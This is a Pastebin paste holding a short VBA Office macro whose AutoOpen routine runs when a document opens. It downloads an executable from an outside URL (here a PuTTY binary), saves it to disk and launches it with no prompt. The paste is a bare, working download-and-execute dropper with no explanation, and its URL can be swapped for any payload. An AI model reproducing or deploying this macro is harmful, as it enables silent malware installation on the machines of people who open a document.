Advertisement
Guest User

GhostY

a guest
Apr 12th, 2019
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. Sub AutoOpen()
  2.  
  3. Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  4. Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  5. xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/0.70/w32/putty.exe", False
  6. xHttp.Send
  7.  
  8. With bStrm
  9. .Type = 1 '//binary
  10. .Open
  11. .write xHttp.responseBody
  12. .savetofile "putty.exe", 2 '//overwrite
  13. End With
  14.  
  15. Shell ("putty.exe")
  16.  
  17. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement